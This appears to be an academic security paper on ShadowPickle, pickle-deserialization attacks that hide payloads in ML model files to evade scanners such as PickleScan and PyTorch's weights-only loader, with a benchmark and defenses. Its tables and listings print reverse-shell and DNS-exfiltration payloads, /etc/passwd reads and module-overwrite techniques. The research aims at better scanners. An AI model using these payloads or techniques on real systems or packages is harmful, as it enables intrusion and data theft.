arXiv CSopen access

ShadowPickle: Evading Machine Learning Model Scanners via Stealthy Pickle Deserialization Attacks

ShadowPickle: Evading Machine Learning Model Scanners via Stealthy Pickle Deserialization Attacks 1st Dhruv Pradhan

2nd Sarang Nambiar

Singapore University of Technology and Design Singapore dhruv [email protected] 0009-0002-9640-0940

Singapore University of Technology and Design Singapore sarang [email protected] 0009-0001-1738-2864

3rd Ezekiel Soremekun

arXiv:2607.17503v1 [cs.CR] 20 Jul 2026

Singapore University of Technology and Design Singapore ezekiel [email protected] 0000-0002-0039-8106 Abstract—Model hosting hubs (e.g., Hugging Face) are vulnerable to supply chain attacks that enable remote code execution on trusted user environments. Attackers often distribute malicious Pre-trained ML models (PTMs) via model hubs. In this paper, we present novel attacks against PTMs and model hubs called S HADOW P ICKLE. S HADOW P ICKLE includes three (3) stealthy pickle deserialization attacks that enable malicious behaviors and evade state-of-the-art (SOTA) model scanners. These attacks leverage the external module import mechanism of the Pickle Virtual Machine (VM) to execute malicious payloads during deserialization. Additionally, we provide P ICKLE B ENCH, a dynamic and extensible benchmark for automatically injecting S HADOW P ICKLE into arbitrary benign PTM models. Our evaluation shows that S HADOW P ICKLE evades ten SOTA scanners, and four model hubs. S HADOW P ICKLE (Overwritten) has a 63% evasion rate across scanners, and up to 50% higher evasion rates than existing attacks. Besides, P ICKLE B ENCH is up to 25.6% more challenging than three SOTA benchmarks. Finally, we provide security recommendations for mitigating our attacks and improving the effectiveness of existing scanners. Our findings highlight the limitations of existing PTM scanners and suggest directions for improvements. Index Terms—Pickle Deserialization, Machine Learning Models, Supply Chain Security, Model Scanners, Model Hosting hubs

I. I NTRODUCTION Pre-trained machine learning models (PTMs) are typically provided to end-users via model hosting hubs such as Hugging Face [1], GitHub [2], OpenCSG [3] and ModelScope [4]. These hubs host millions of ML models provided by engineers and companies such as NVIDIA, Google, Meta, Microsoft and OpenAI [5], [6], [7], [8]. For instance, Hugging Face (HF) [1] provides over 2.5 million PTMs to 13 million users. It serves over 18.9 million visitors per month [9]. This includes ML models belonging to tasks such as text classification, text generation, image classification and feature extraction. Model hubs are critical to the security of the ML supply chain. End-users rely on model hubs to ensure that uploaded PTMs are secure. However, model hosting hubs have become popular targets for orchestrating malicious PTM attacks [10].

Researchers have reported instances of malicious PTMs uploaded on model hubs to compromise system security [11]. To prevent malicious PTM attacks, model hubs employ state-of-the-art (SOTA) security scanners. These scanners aim to ensure uploaded models are safe for end-users. For instance, Hugging Face scans models using PTM scanners (JFrog [12], Guardian [13] and PickleScan [14]) and malware scanners (ClamAV [14] and VirusTotal [15]). Meanwhile, OpenCSG employs Gentel [16], [17], a closed source model scanner. Despite the plethora of security scanners, several successful attacks and malicious PTMs have been reported on popular model hubs such as Hugging Face [18], [19]. These attacks have been shown to compromise user’s trusted environments or steal user data [20], [21], [22], [23], [24], [18], [25], [26]. Notably, Pickle is the most popular PTM format [27]. It has been shown to be vulnerable to malware attacks [11], [28]. For instance, Stacked Pickle attack [29] uses multiple concatenated pickles to hide the malicious payload in nested inner Pickles. Library Import attack [30] injects payloads into third-party libraries outside of the model scanner’s blacklist. Finally, P ICKLE C LOAK [31] proposes multiple attack methodologies such as Module Loading Surface, Exception-Oriented Programming (EOP) and Gadget-finding in third-party libraries. To defend against these attacks, SOTA security scanners often update their white (or black) list of (dis)allowed operations (e.g., imported modules) or system calls (such as exec). However, this mitigation is a soft patch which addresses a symptom rather than the general class of the Pickle vulnerability issue. Such patches are not robust since attackers can still evade SOTA scanners, e.g., using one of over hundred PyPI modules that support code executions [32]. In this paper, we present a novel class of stealthy Pickle deserialization attacks called S HADOW P ICKLE. Our work demonstrates vulnerabilities of the Pickle deserialization method, the insecurity of model hubs and communitymaintained package indexes, and the inefficiencies of existing scanners. Our attack (S HADOW P ICKLE) leverages the Pickle

Evaluation: We evaluate S HADOW P ICKLE using 10 SOTA scanners and four model hubs. Results show that S HAD OW P ICKLE (Overwritten) has a 63% evasion rate across scanners (RQ1) and is 50% more evasive than existing attacks (RQ2). In addition, P ICKLE B ENCH is up to 25.6% more challenging than existing benchmarks (RQ4). • Defense: We propose defense recommendations for improving existing SOTA scanners and mitigate S HADOW P ICKLE attacks (subsection Q). Our recommendations improve the effectiveness of W EIGHTS - ONLY by 19% (F1-score) and F ICKLING by 5% (F1-score) and 16% (FPR), respectively. •

Fig. 1: S HADOW P ICKLE (Overwritten-module) workflow

II. OVERVIEW VM’s deserialization mechanism to evade the security scanners of existing model hubs. In contrast to existing attacks, S HAD OW P ICKLE distinguishes itself by synthesizing payloads with built-in libraries while evading detection by SOTA scanners. S HADOW P ICKLE leverages ML/software supply chain vulnerabilities and Pickle (VM) weaknesses. Specifically, it leverages (a) the vulnerability of the Pickle VM deserialization mechanism [33], classified as CWE-502 [34], (b) the lack of automated security vetting in community-maintained package indexes like PyPI [35], [36], identified as CWE-1395 [37] and (c) the poor efficacy of SOTA model hub security scanners [31], corresponding to CWE-183 [38] and CWE-184 [39]. Figure 1 illustrates one of our attacks, namely S HADOWP ICKLE-Overwritten Module attack. This attack overwrites whitelisted modules and use the overwritten library to execute arbitrary code on the victim’s machine. Existing SOTA model scanners do not incorporate Python environment integrity checks, thus allowing our attack to evade existing scanners. We propose an automatic benchmark (P ICKLE B ENCH) for orchestrating S HADOW P ICKLE attacks. We also develop defense patches to improve the performance of SOTA scanners and mitigate S HADOW P ICKLE. Overall, our work aims to improve the reliability and security of model scanners and hubs. Table I provides an example of S HADOW P ICKLE and illustrates its stealthiness. Unlike SOTA attacks (e.g., P ICK LE C LOAK ), S HADOW P ICKLE evades the SOTA scanners and model hub security (Hugging Face). Table I shows that SOTA scanners fail to detect our attack but detect other attacks.1 To the best of our knowedge, S HADOW P ICKLE is the first attack to bypass PyTorch’s W EIGHTS - ONLY U NPICKLER [40]. Overall, this paper makes the following contributions: • S HADOW P ICKLE : We present three novel pickle deserialization attacks for orchestrating malicious PTMs that evade SOTA scanners and model hubs (section IV). It also ensures that the resulting malicious Pickle is valid and deserializable. • P ICKLE B ENCH : We provide an automatic and extensible benchmarking method that allows to inject S HADOW P ICKLE into arbitrary benign PTMs (section V). Our benchmark is useful for evaluating PTM scanners and model hub security. 1 As shown in Table I, the most recent Pickle attack (P ICKLE C LOAK [31]) is effectively detected by six out of eight (75%) SOTA scanners (e.g., PickleScan, Guardian, ModelTracer, WeightsOnlyUnpickler). However, our attack evades all scanners while keeping the Pickle file valid.

A. Problem Settings Pickle VM and Deserialisation: We illustrate the Pickle VM import mechanism in Figure 2. PyTorch models use the pickle format as a method to store and distribute models and their weights. To load PyTorch models, Python uses the Pickle VM to deserialise the binary data in the model files. During deserialisation, the Pickle VM uses opcodes like GLOBAL to gain access to Pythonic functions like print() (step 1, Figure 2). Opcodes like GLOBAL are used by the Pickle VM to import python libraries (e.g., numpy) or modules accompanying the model. The imported libraries or files are accessed using sys.modules (step 2, Figure 2). sys.modules is a dictionary that contains the module objects that the Python Interpreter imports. This dictionary is then used by the Pickle VM to import the required libraries (step 3, Figure 2). Pickle Deserialisation Attacks: Pickle deserialisation attacks allow an attacker to execute arbitrary code on the victim’s machine. The attacks are possible using imports for malicious libraries, primarily using opcodes like GLOBAL (step 1, Figure 2). We define malicious libraries as those that allow the attacker to run arbitrary code when imported by the Pickle VM. A Python object has to be created using the REDUCE opcode to execute code through such libraries. Objects created with REDUCE (step 4, Figure 2) with the desired payload of the attacker, can lead to arbitrary code execution. Common examples of malicious libraries include exec and eval, which are often used since they are Python inbuilt libraries, but they are often marked as unsafe by PTM security scanners. B. S HADOW P ICKLE’s Novelty Tables I and II compare S HADOW P ICKLE vs. existing attacks illustrating its novel approach, stealthiness, and validity. Approach/Design: Firstly, SOTA attacks such as the Library Import Attack [30] and P ICKLE C LOAK [31], rely on gadgets available in existing Python libraries and are therefore constrained by the functionality implemented in those libraries. However, S HADOW P ICKLE allows the attacker to synthesize a custom module containing gadgets specifically tailored to the intended malicious objectives (e.g., credential stealing, reverse shells, etc.). These custom modules can either be uploaded to community-managed package indices (e.g., PyPI) or packaged together with the Pytorch model (CWE-1395 [37]). Secondly, SOTA attacks (e.g., P ICKLE C LOAK [31] and Library Import

TABLE I: Motivating Example showing S HADOW P ICKLE and SOTA attacks using SOTA scanners. Code snippets in red are malicious payloads. “✓” means the model was detected as malicious and “✗” means the model was classified as benign. Model Name Scanner Type

Description

Stacked Pickle coldwaterq/sectest [29] Model depicting stacked pickles first disassembly layer does not show maliicous payload

Library Import zpbrent/reuse [30] Model used as payload for the import attacks to be imported by libraries

0: \x80 PROTO 2 2: \x8a LONG1 119547037146038801333356 14: . STOP

0: \x80 PROTO 3 2: c GLOBAL ’posix system’ ... 18: X BINUNICODE ’touch HACKED’ 35: q BINPUT 1 ... 40: R REDUCE

Disassembled code

Static

Hugging Face Dynamic Environment

PickleScan [43] ModelScan [44] HF JFrog [12] HF Guardian [13] HF ClamAV [14] HF VirusTotal [15] HF PickleScan [14] ModelTracer [45] W EIGHTS - ONLY [40]

✓ ✗ ✓ ✓ ✗ ✓ (1/77 engines detected) ✓ ✓ ✓

Attack [30]) primarily focus on evading the blacklist of existing security scanners by using libraries not included in the blacklist (CWE-184 [39]). In contrast, S HADOW P ICKLE (Overwritten module) allows the attacker to override any of the whitelisted modules belonging to a security scanner, thereby bypassing an allowlist-based defenses (CWE-183 [38]). Lastly, to the best of our knowledge, S HADOW P ICKLE (Overwritten Module) is the first attack known to leverage pre-defined Python standard library module paths (sys.modules) to execute malicious payload present inside the Pytorch model. Stealthiness: To the best of our knowledge, our Overwritten Module attack is the first and only attack to evade PyTorch’s official Restricted Loading Environment (W EIGHTS - ONLY U NPICKLER) which is turned on by default when loading a model with torch.load(). Moreover, S HADOW P ICKLE develops novel methods to bypass the blacklist and whitelists employed by security scanners. Pickle/PTM Validity: SOTA attacks (Stacked Pickles [29], Library Import [30] and P ICKLE C LOAK [31]) develop attacks to evade Pickles by manipulating how Pickles are formed. This often results in invalid Pickles (e.g., P ICKLE C LOAK) such that the resulting Pickles cannot be disassembled with inbuilt Python tools like Pickletools [46]. Unlike P ICK LE C LOAK , S HADOW P ICKLE and our injection technique does not result in invalid Pickles. Its resulting PTMs are executable by Pickle disassemblers and parsers without errors. C. P ICKLE B ENCH’s Novelty P ICKLE B ENCH is an automatic, extensible benchmark that generalizes S HADOW P ICKLE to arbitrary malicious payloads and benign PTMs. P ICKLE B ENCH allows to assess both the whitelists and blacklists of SOTA model scanners. We outline the differences between P ICKLE B ENCH and the SOTA benchmarks in Table III and Table XIV. M AL H UG vs. P ICKLE B ENCH: M AL H UG provides 64 malicious Pickle PTMs from Hugging Face. These attacks expose

✓ ✓ ✓ ✓ ✗ ✗ ✓ ✓ ✓

P ICKLE C LOAK Zolllll/dont download this2 [41] Model depicting pickle model surface attack with a pkl → pkl attack

Overwritten Modules (Ours) Zolllll/dont download this [42] Model injected with payload in overwritten module OrderedDict

0: \x80 PROTO 4 11: \x8c SHORT_BINUNICODE ’numpy.testing._private.utils’ 41: \x8c SHORT_BINUNICODE ’ runstring’ 52: \x93 STACK_GLOBAL ... 57: \x8c SHORT_BINUNICODE ’ __import__("os").system("ls ")’ ... 90: R REDUCE 91: . STOP

0: \x80 PROTO 2 2: c GLOBAL ’collections OrderedDict’ 29: X BINUNICODE "if not ’hypervisor’ in open(’’’/proc/ cpuinfo’’’).read(): \n print(open(’/ etc/passwd’).read()) " ... 134: R REDUCE 136: b BUILD

✓ ✗ ✗ ✓ ✗ ✗ ✓ ✓ ✓

✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗ ✗

limitations of blacklists scanners, i.e., their non-exhaustive nature. For instance, M AL H UG PTMs often contain malicious payloads that use execve. S HADOW P ICKLE generalises beyond such attacks, by supporting arbitrary PyPI modules via its PyPI attack. Moreover, P ICKLE B ENCH also assesses whitelisted modules via its overwritten module attack. More importantly, unlike M AL H UG, P ICKLE B ENCH is open-source and does not rely on a custom scanner. PickleBall vs. P ICKLE B ENCH: PickleBall also provides benign models that use popular external libraries like FastAI, which can be used to test scanner’s whitelists. However, the libraries are not being used as an attack method but instead for false positive assessment. Unlike PickleBall, P ICKLE B ENCH provides a whitelist benchmark that uses whitelisted libraries like collections.OrderedDict as an attack. This allows to assess whether a scanner ensures that whitelisted libraries are tamper proof. To the best of our knowledge, P ICKLE B ENCH is the first benchmark that supports attack assessments of scanner’s whitelists. P ICKLE C LOAK vs. P ICKLE B ENCH: P ICKLE C LOAK provides a benchmark that can be extended using its gadgetfinding tool. However, it does not provide a method to benchmark whitelist-based scanners. P ICKLE B ENCH provides new attacks and methodologies, including both blacklist and whitelist benchmarks. The PyPI and external module attacks can be used as a blacklist or whitelist benchmark since they use libraries that are not present in preset lists. The Overwritten Module attack is the first attack using a whitelisted module, and it can be used as a whitelist benchmark. Extensibility: P ICKLE B ENCH differs from M AL H UG [11] and PickleBall [27] due to its extensible nature. M AL H UG and PickleBall benchmarks were created by scanning Hugging Face and (manually) developing models that evade security scanners, respectively. Hence, these benchmarks are not dynamic. P ICKLE B ENCH can be extended with our injector with

new payloads and libraries that support code execution. III. BACKGROUND & R ELATED W ORKS A. SOTA PTM Attacks Stacked Pickle Attack [29] evades scanners by employing recursive Pickles, i.e., Pickles requiring multiple pickle.load for model loading. SOTA scanners were not detecting this attack since they initially examine only the first layer of the Pickle bytecode (Table I, third column). While stacking Pickles is not malicious itself, the malicious Pickle bytecode appear in a layer after the first. This is missed by the scanners because they only scanned the first layer of Pickles that they find, typically after a single pickle.load. The attack also allows to inject malicious Pickle bytecode in a chosen location of a Pickle file. It uses Python’s zlib [47] to obfuscate the payload as compressed bytecode and execute it later with the decompress function. After its disclosure, security scanners (e.g., P ICKLE S CAN [14]) were patched to scan stacked Pickles, and zlib library was added to the blacklist of malicious libraries. Library Import Attacks [30] is an attack that applies to victims using PTMs with command line libraries (e.g., from_pretrained). This attack leverages the implementation of the library and loading files detailed in the config of the project (such as a config.yaml file that the library would reference). This attack evades security scanners without using the Pickle VM opcodes to bypass the scanners. It relies on libraries that load Pickle files (e.g.,from_pretrained). The malicious model use well-known Python execution paths like posix system, which is detected by most security scanners (Table I, fourth column). P ICKLE C LOAK [31] evades SOTA security scanners using three (3) evasion methods. The first attack uses vulnerable Pickle loading call chains to bypass scanners (e.g., legacy_load from torch.load()). The second attack uses Exception-Oriented Programming to crash the scanner after executing the payload, by triggering an exception it evades detection. The third attack uses gadgets in popular ML libraries like numpy to execute arbitrary code instead of the popularly blacklisted libraries like exec. The first two P ICKLE C LOAK attacks develop Pickle files that are invalid by design. The resulting Pickles from these attacks cannot be disassembled by tools such as Pickletools. The third gadget finding attack shows extensibility opportunities when pointed towards popular libaries like numpy, and finds functions that can execute arbitrary code such as numpy.memmap. However, it is still detected by scanners like W EIGHTS - ONLY U NPICKLER, and HF PickleScan because its gadget chains (e.g., numpy.memmap, pandas.read_pickle) are not whitelisted (Table I, fifth column). Our attack (S HADOW P ICKLE) distinguishes itself by focusing on the wider Python ecosystem surrounding the Pickle VM, while evading SOTA security scanners like the default PyTorch W EIGHTS - ONLY U NPICKLER [40]. Table II com-

Fig. 2: PickleVM deserialization process.

pares S HADOW P ICKLE to SOTA attacks. We also experimentally compare S HADOW P ICKLE to the these attacks (RQ2). B. SOTA Malicious PTM Benchmarks We identify three SOTA malicious PTM benchmarks, namely M AL H UG [11], PickleBall [27] and P ICKLE C LOAK [31]. M AL H UG provides 91 malicious models collected from scanning thousands (760K) of PTMs from Hugging Face using their custom detector (M AL H UG). We employ 64 of the malicious models which are Pickle or PyTorch models as the M AL H UG benchmark. Kellas et al. [27] provides two (2) malicious models to demonstrate evasion of SOTA security scanners like M ODEL S CAN [44]. Finally, P ICKLE C LOAK provided 57 models that are capable of arbitrary code execution using their gadget-based attack. M ODELT RACER [45] has also scanned 12,793 models and uncovered 14 malicious models. However, the malicious models are not publicly provided. P ICKLE B ENCH differs from existing works as it presents three (3) novel attacks that are previously unseen in existing benchmarks. It is useful for assessing scanners and model hub security. It provides an automated and extensible injector which allows for dynamic benchmarking. We also compare P ICKLE B ENCH to the aforementioned benchmarks (RQ4). C. SOTA PTM Security Scanners PTM security scanners are categorized into four main types: Static Scanners: These scanners aim to find malicious or suspicious GLOBAL imports in the PTM Pickle bytecode. The Pickle file is disassembled using a disassembler e.g., P ICKLETOOLS, or a custom disassembler [48]. The discovered imports are then compared against a preset whitelist [48] or blacklist [43], [44] curated by the scanner developers. The main limitation is that their whitelist or blacklists are nonexhaustive. For instance P ICKLE C LOAK [31] has shown that they can be evaded by employing alternative gadgets that employ pre-existing libraries for arbitrary code execution. Dynamic Scanners: These scanners analyse the PTM by executing it, e.g., by loading it and collecting its system calls using tools like strace [49] and Python’s sys module [50] (M ODELT RACER [45]). The collected system calls are then examined for blacklisted opcodes such as execve, which indicate malicious behaviour. For instance, M ODELT RACER found 14 malicious models when tested on Hugging Face [45]. However, dynamic scanners are limited since they require executing the model (preferably in a sandboxed environment) and they are computationally more expensive than static analysis. In addition, they may suffer from under-approximation due to

TABLE II: Details of S HADOW P ICKLE versus SOTA PTM attacks showing whether the attack “fully” ( ), “partially” ( ), or “does not” ( ) employ the specified technique. Attacks

Size

Stacked Pickles [29]

5

Library Import [30]

1

P ICKLE C LOAK Module-surface [31]

3

P ICKLE C LOAK EOP [31]

1

P ICKLE C LOAK Gadget-Based [31]

56

S HADOW P ICKLE PyPI (Our Work)

1000

S HADOW P ICKLE External (Our Work)

1000

S HADOW P ICKLE Overwritten (Our Work)

1000

Standard Lib Usage

Gadget Finding

Stacked Pickles

TABLE III: P ICKLE B ENCH versus SOTA PTM security benchmarks showing whether the benchmark “fully” ( ), “partially” ( ), or “does not” ( ) employ the technique. Benchmarks

Size of Malicious

Size of Benign

M AL H UG [11]

91

0

ModelHub Scanning

Custom Tool

Dataset Availability

PickleBall [27]

2

252

Static

P ICKLE C LOAK [31]

57

0

Dynamic

P ICKLE B ENCH

3000

1000

Dynamic

Extensibility

Whitelist Benchmark

Static /Dynamic Static

the concrete execution scenario or environment (e.g., Anti-VM or debugging attacks may remain undetected). Model Loading Environments (MLE): These environments employ fixed whitelist to ensure that only trusted Pickle opcodes and imported libraries are permitted during model loading. PyTorch’s default W EIGHTS - ONLY U NPICKLER [40] works by whitelisting PyTorch’s utility functions. Whereas, dynamic approaches like PickleBall [27] focus on generating policies for libraries to add to the function whitelist. For instance, W EIGHTS - ONLY flagged 219 out of 1496 models tested from Hugging Face because they contain libraries that are not present in its whitelist [27]. MLE scanners are limited by their reliance on the end-user’s expertise. W EIGHTS - ONLY assumes the user will never use the weights_only=False flag, while using torch.load(), which turns off the environment and leaves the user vulnerable to malicious models. This assumption does not hold in practice as the whitelist is non-exhaustive and several popular PTM providers (e.g., FastAI) require the flag to be set to false. Closed-Source Scanners: Model hubs like HuggingFace employ closed-source scanners to scan uploaded PTMs on their platform [13], [14], [12], [15], while OpenCSG [3] uses Gentel [16], [17]. In this work, we compare to closed-source scanners by uploading representative models of our attacks on model hubs and checking whether their scanners flag them. This is because we can not upload thousands of malicious models on such platforms without security implications and potential ban. Therefore, for each of our attack types, we upload an example on HuggingFace [42], [41] and OpenCSG [51]. IV. ATTACK M ETHODOLOGY A. Threat Model Attack assumptions: We assume the attacker can create or modify PTMs by injecting payloads that contain malicious

Invalid Pickles

Exception-Oriented Programming

Extensibility

Third-Party Library Usage

External File Usage

Library Overwriting

code, (e.g., reverse shells). The attacker then distributes the malicious models through hosting hubs or by directly sending it to the victims. The attacker also provides the instructions to execute (load) the model. Additionally, S HADOW P ICKLE’s External Modules attack assumes that the attacker can direct the victim to download the accompanying external modules for the PTM. Finally, S HADOW P ICKLE’s Overwritten Modules assumes the attacker can upload and distribute Python packages through platforms like PyPI [52]. Defence Assumptions: We assume that the model scanners are able to disassemble and analyse the models being scanned. It is also assumed that the defender does not require security expertise or access to model source code. These assumptions are reasonable, common and feasible within the current ML supply chain system. This threat model aligns with the current ML supply chain system where practitioners distribute PTMs, code/artifacts and Python packages on platforms like Hugging Face [1] and GitHub [2], etc. B. Attack Description 1) Overwritten Module: Figure 1 illustrates the S HADOWP ICKLE-overwritten module attack. This attack showcases a wider issue in Python’s supply chain, wherein an attacker can overwrite local modules on a victim’s system with malicious behaviour. This allows the attack to bypass whitelists by using modules on the whitelist to execute arbitrary code. It can be distributed as a full package through model hosting hubs, where users would have to install it with instructions. We also demonstrate a wider distribution method with PyPI, akin to how popular libraries like numpy are installed (with a command like pip install -r requirements.txt, which is common in Hugging Face repositories). The main advantage of the attack is that the victim does not need to disable the W EIGHTS - ONLY U NPICKLER because the attack overwrites one of the modules in its whitelist. Attack steps: The attacker implements a module that overwrites local system libraries (e.g., OrderedDict) by adding code execution functionality (step 1, Figure 1). To distribute the compromised module, the attacker uploads the overwritten library to PyPI or the model hub alongside the PTM (step 2, Figure 1). Then, the attacker uploads a PTM with an injected payload (using the module) onto the model hub (e.g., HF) and instructs the victim to install the library in the model card via

requirements.txt or local install (step 3, Figure 1). The victim installs the malicious library and gets the overwritten module, unbeknownst to them. Then the victim loads the model (steps 4-8, Figure 1) and the attack is executed. Attack Limitations: The victim is required to install the overwritten PyPI library. Feasibility: This attack is feasible since there are several examples of PTMs (e.g., on HF) that require installing thirdparty libraries (e.g., from PyPI) via a requirements.txt. Researchers have also found that module conflicts in thirdparty libraries are common on PyPI [53]. S HADOW P ICKLE increases this attack surface with module conflicts to Python Standard Libraries (e.g., collections.OrderedDict). Prevalence: There are 31 requirements.txt in the top 3000 most liked text-generation model repositories on Hugging Face. We note that any requirements.txt file can be used for the installation of our Overwritten Module attack. 2) PyPI Injected: This attack combines real-world malicious payloads and PyPI libraries [52] that support code execution.2 Listing 1 provides a sample PyPI payload. Attack Steps: The attacker injects a malicious payload that relies on a PyPI library into a PTM. Then, the attacker uploads the injected PTM to a model hub and instructs the victim to install the required PyPI library in the model card. Next, the victim installs the required PyPI library and loads the model, and the payload is executed. The attack requires that the victim disables the W EIGHTS - ONLY U NPICKLER while loading the model. This can be specified or instructed in the model loading code or model card. Disabling W EIGHTS - ONLY is required for some benign model providers,e.g., Ultralytics [54]. Attack Limitations: The victim is required to install the PyPI library needed for code execution. Feasibility: Using model configuration (e.g., requirements.txt) to direct the victim to install libraries is common, as evidenced by models such as Synthyra/ESM2-8M [55]. We found at least 1000 requirements.txt on HuggingFace [56].3 3) External Modules: This attack leverages Pickle VM’s import strategies. It uses a module packaged with the PTM for arbitrary code execution (e.g., via exec()). The external module allows the attacker to execute the payload injected in the PTM when loading the PTM. Listing 2 shows an example. Attack Steps: The attacker implements a payload with the external module and injects into a model. Then the attacker uploads both the injected model and the external file to a hosting hub and instructs the victim to download it in the model card. The victim downloads both the external file and model, and the payload is executed when loading the model. This attack also requires that the W EIGHTS - ONLY 2 Our supplementary Material (Table XI) provides examples of such PyPI libraries that are capable of executing arbitrary code. 3 The estimation “at least 100” instances was determined by a full-text search of “requirements.txt” on HuggingFace. However, because fulltext search does not show results more than 1000, we cannot estimate the true number of files without crawling all of HuggingFace.

Fig. 3: P ICKLE B ENCH workflow

U NPICKLER is disabled while loading the model, e.g., by instructing it in the model loading code or model card. This is a common requirements in benign models, e.g., Ultralytics [54]. Attack Limitations: The victim can download the external module and model in the same directory or the attacker can make a script to add the external file to python’s sys.path. Feasibility: PTMs are commonly distributed with code (e..g., loading script) [57], [58], [59]. This broadens the attack surface allowing malicious PTMs to execute arbitrary code. V. P ICKLE B ENCH The goal of our dynamic benchmark (P ICKLE B ENCH) is to enable automated evaluation of the SOTA scanners against Pickle deserialization attacks. Figure 3 illustrates the workflow of P ICKLE B ENCH. Crawling is highlighted in orange, Payload Generation in purple, Payload Injection in blue and Scanning in green. Algorithm 1 (appendix) describes the workflow. A. P ICKLE B ENCH Overview To create P ICKLE B ENCH, a specified number (1000) of benign PTMs are downloaded from a model hub (Hugging Face). We filter for PTMs in Pickle formats that are tagged as safe by the model hub’s scanners (e.g., HF_PickleScan, HF_Guardian). Next, we conduct payload generation, a set of real-world payloads are collected from multiple sources [60], [61]. A Pickle is then created with each one of these payloads and stored. We then randomly sample from the set of malicious Pickles, and inject them into the downloaded PTMs resulting in malicious PTMs. Next, the malicious PTMs are automatically validated by ensuring that they load without raising errors/exceptions and the payload is valid and working as expected. PTMs that fail these checks are discarded while valid PTMs are stored for evaluation against open-source SOTA scanners. During evaluation, each malicious PTM is scanned by the SOTA open-source scanners. The scanner verdict and output are then logged. P ICKLE B ENCH is explained in the supplementary materials (see subsection N). VI. E XPERIMENTAL S ETUP A. Research Questions RQ1 Attack Effectiveness: How effective are S HADOWP ICKLE attacks in evading SOTA scanners? • RQ2 Attack Comparison: How do S HADOW P ICKLE attacks compare to SOTA Pickle deserialisation attacks? •

RQ3 Advanced Attacks: How do SOTA scanners perform on advanced S HADOW P ICKLE (e.g., obfuscated, payloads)? • RQ4 Benchmark Comparison: How does P ICKLE B ENCH compare to SOTA benchmarks (e.g., P ICKLE C LOAK)? •

B. Crawling Setup We employ Hugging Face (HF) as the primary model hub for our benchmarking (P ICKLE B ENCH). HF is the most popular and diverse model hub with over 2.5 million models and 13 million users, with over 18.9 million visitors per month [9]. Table XVI (appendix) shows that HF has a significantly larger set of models than the other popular model hubs. We also employ the text generation task tag as the primary task for P ICKLE B ENCH, since it is the most popular task in HF and the other popular hubs. In our evaluation, we introduce an interlude of 600 models between the benign models and the injected benign models to prevent data contamination. The benign models are the top 3000 most liked PTMs, while the injected benign models, used for S HADOW P ICKLE injection, are the top 3600 to 4600 most liked models (Figure 5 (appendix)). We employ the topmost liked models in this task tag, since a high number of likes indicate the models are useful and popular among users, and likely benign. We additionally validated that the crawled models are benign by checking whether they have been flagged as unsafe or malicious by HF’s proprietary scanners (i.e., HF PickleScan [14], HF Guardian [13], etc.). C. Scanner Selection and Setup We employ five (5) scanners in our evaluation. Static Scanners: We employ three static scanners, namely P ICKLE S CAN [43], M ODEL S CAN [44] and F ICKLING [48]. P ICKLE S CAN and M ODEL S CAN are the open-source variants of the closed-source scanners used by Hugging Face (HF PickleScan [14], Guardian [13]). F ICKLING supports advanced detection via Dataflow Analysis [62], [63]. Dynamic Scanners: We employ M ODELT RACER [45], the SOTA open-source dynamic scanner. Model Loading Environments: We employ W EIGHTS - ONLY U NPICKLER [40], developed by PyTorch. It searches for nonstandard imports that may jeopardise the safety of the model loading environment. It is turned on by default when loading models with PyTorch’s torch.load(). Excluded Scanners: We exclude PickleBall [27] because it requires manual specification of security policies for known ML libraries like FastAI [64].4 Thus, it does not scale to practical model hub settings with millions of PTMs, or our experiments involving thousands of PTMs. PickleBall extends W EIGHTS - ONLY U NPICKLER [40] through policy generation for safe model loading but does not provide an automated method to generate policies for libraries used in the models. 4 As stated in the PickleBall GitHub: “To analyze the library and create a policy, you must provide a path to the library source code and the name of the model class” [65].

Listing 1: PyPI payload 2: c

GLOBAL ‘raft run’ 12: q BINPUT 0 14: X BINUNICODE "zsh -c ‘zmodload zsh/net/tcp && ztcp 127.0.0.1 4444 && zsh >\&$REPLY 2>&$REPLY 0>\&$REPLY’"

Listing 2: External payload 2: c

GLOBAL ’ external dangerous_func’ 27: q BINPUT 0 29: X BINUNICODE ’import os os.system( "nslookup‘whoami’. 127.0.0.1")’

Scanner Setup P ICKLE S CAN and M ODEL S CAN are executed via shell commands (Python’s subprocess.run()). We execute F ICKLING by accessing its Python interface and calling analyze_Pickle_safety to process its outputs. We executed M ODELT RACER’s code provided in its repository [66]. We execute W EIGHTS - ONLY U NPICKLER by loading each model using PyTorch’s torch.load() and catching any UnpicklingError when the UnPickler raises an error for a non-standard import. We note that W EIGHTS - ONLY U NPICKLER is enabled by default when loading a module with PyTorch. We employ the latest version of each scanner and provide their details in Table XII (appendix). D. Payload Selection In our attack and benchmark, we employ malicious payloads that are commonly used in real-world attacks by sourcing from two popular sources, namely PayloadsAllTheThings [60] and revshells.com [61]. They include basic reconnaissance (e.g., uname -a) to reverse shells (sh -i >& /dev/tcp/127.0.0.1/4444 0>&1). Listing 1 shows a sample payload using zsh to make a reverse shell to a local IP address. We describe payloads in Table XIII (appendix). E. Injection Setup PyPI Injected: We generate 20 malicious payloads using 20 PyPI libraries that support code execution and the payloads described in Section VI-D. The libraries were identified by searching for the keyword “execute” on PyPI [52] and collecting the first 20 modules reported in the first 20 pages of PyPI that support arbitrary code execution. This payload generation process is described Section N2. Next, we randomly select one of the resulting 20 payloads and inject it into each of the 1000 benign models collected from HF Listing 1 illustrates this attack using the PyPI library raft [67]. External Module: We develop an external module (external.py) with the library dangerous_func that allows for arbitrary code execution using a Python function such as exec (see Appendix Listing 3). Next, we generate 20 payloads combining the external function along with the our collected payloads (Section VI-D). Listing 2 is an example of external module payload with the external.py. Overwritten Modules: This attack employed an overwritten library (collections.OrderedDict) which we overloaded to add additional functionality, with the payloads described in Section VI-D. The additional functionality (in the overwritten library) allows for an arbitrary string to be

TABLE IV: Effectiveness of S HADOW P ICKLE on SOTA open-source scanners. Type Static

Dynamic Performance

Analysis

Benign

Detector

HF (3000)

PyPI

0 0 2834 54 0

0 0 1000 1000 907 0.5814 0.4186

P ICKLE S CAN [43] M ODEL S CAN [44] F ICKLING [48] W EIGHTS - ONLY [40] ModelTracer [45] TPR FNR

Malicious (3000) External Overwritten Module Module 0 0 0 0 1000 1000 1000 39 953 821 0.5906 0.372 0.4094 0.628

Overall Performance TP

FP

TN

FN

Precision

Recall

F1-score

0 0 3000 2039 2681

0 0 2834 54 0

3000 3000 166 2946 3000

3000 3000 0 961 319

0 0 0.5142 0.9742 1

0 0 1 0.6797 0.8937

0 0 0.6791 0.8007 0.9438

